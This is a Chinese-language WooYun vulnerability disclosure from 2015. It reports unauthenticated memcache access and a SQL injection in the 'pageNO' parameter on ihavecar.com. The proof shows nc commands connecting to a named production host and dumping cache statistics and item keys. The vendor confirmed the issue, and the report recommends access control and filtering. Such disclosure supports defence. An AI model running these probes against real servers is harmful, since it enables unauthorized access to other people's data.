漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0102173
漏洞标题：我有车网sql注入和memcache未授权访问
相关厂商：ihavecar.com
漏洞作者： 路人甲
提交时间：2015-03-19 14:31
修复时间：2015-05-03 17:06
公开时间：2015-05-03 17:06
漏洞类型：服务弱口令
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-19： 细节已通知厂商并且等待厂商处理中
2015-03-19： 厂商已经确认，细节仅向厂商公开
2015-03-29： 细节向核心白帽子及相关领域专家公开
2015-04-08： 细节向普通白帽子公开
2015-04-18： 细节向实习白帽子公开
2015-05-03： 细节向公众公开
简要描述：
我有车网sql注入和memcache未授权访问
详细说明：
我有车网sql注入和memcache未授权访问
ihavecar.com
漏洞证明：
memcache 未授权访问
mgr.ihavecar.com 11211
root@kali:~# nc -vv mgr.ihavecar.com 11211
DNS fwd/rev mismatch: mgr.ihavecar.com != 121.201.19.243
mgr.ihavecar.com [121.201.19.243] 11211 (?) open
stats items
STAT items:4:number 155
STAT items:4:age 3042205
STAT items:4:evicted 0
STAT items:4:evicted_time 0
STAT items:4:outofmemory 0
STAT items:4:tailrepairs 0
STAT items:5:number 210
STAT items:5:age 3031804
STAT items:5:evicted 0
STAT items:5:evicted_time 0
STAT items:5:outofmemory 0
STAT items:5:tailrepairs 0
STAT items:6:number 14
STAT items:6:age 3035915
STAT items:6:evicted 0
STAT items:6:evicted_time 0
STAT items:6:outofmemory 0
STAT items:6:tailrepairs 0
STAT items:18:number 2
STAT items:18:age 3043034
STAT items:18:evicted 0
STAT items:18:evicted_time 0
STAT items:18:outofmemory 0
STAT items:18:tailrepairs 0
STAT items:19:number 8
STAT items:19:age 3035142
STAT items:19:evicted 0
STAT items:19:evicted_time 0
STAT items:19:outofmemory 0
STAT items:19:tailrepairs 0
STAT items:20:number 23
STAT items:20:age 3036213
STAT items:20:evicted 0
STAT items:20:evicted_time 0
STAT items:20:outofmemory 0
STAT items:20:tailrepairs 0
STAT items:21:number 12
STAT items:21:age 3035138
STAT items:21:evicted 0
STAT items:21:evicted_time 0
STAT items:21:outofmemory 0
STAT items:21:tailrepairs 0
STAT items:22:number 4
STAT items:22:age 3046153
STAT items:22:evicted 0
STAT items:22:evicted_time 0
STAT items:22:outofmemory 0
STAT items:22:tailrepairs 0
STAT items:23:number 4
STAT items:23:age 3044344
STAT items:23:evicted 0
STAT items:23:evicted_time 0
STAT items:23:outofmemory 0
STAT items:23:tailrepairs 0
STAT items:24:number 6
STAT items:24:age 3041254
STAT items:24:evicted 0
STAT items:24:evicted_time 0
STAT items:24:outofmemory 0
STAT items:24:tailrepairs 0
END
stats cachedump 2 0
END
stats cachedump 23 0
ITEM 49960de5:e3b0c442_E40BD69740FB0D65DD15E419A73DA64F-n1.mgrc002 [13072 b; 1426688006 s]
ITEM 49960de5:e3b0c442_D8AE7C7529A6021A3A798719AA7DDC29-n1.mgrc002 [12587 b; 1426686920 s]
ITEM 49960de5:e3b0c442_CD99BBF4F96F82A2E0D4CB506AC5D96A-n1.mgrc002 [11400 b; 1426686837 s]
ITEM 49960de5:e3b0c442_F56BE730D086EAA19F886A74448B1BEE-n1.mgrc001 [11395 b; 1426683292 s]
END
SQL注入 pageNO 参数
修复方案：
1，做访问控制
2，过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-03-19 17:04
厂商回复：
非常感谢。
最新状态：
暂无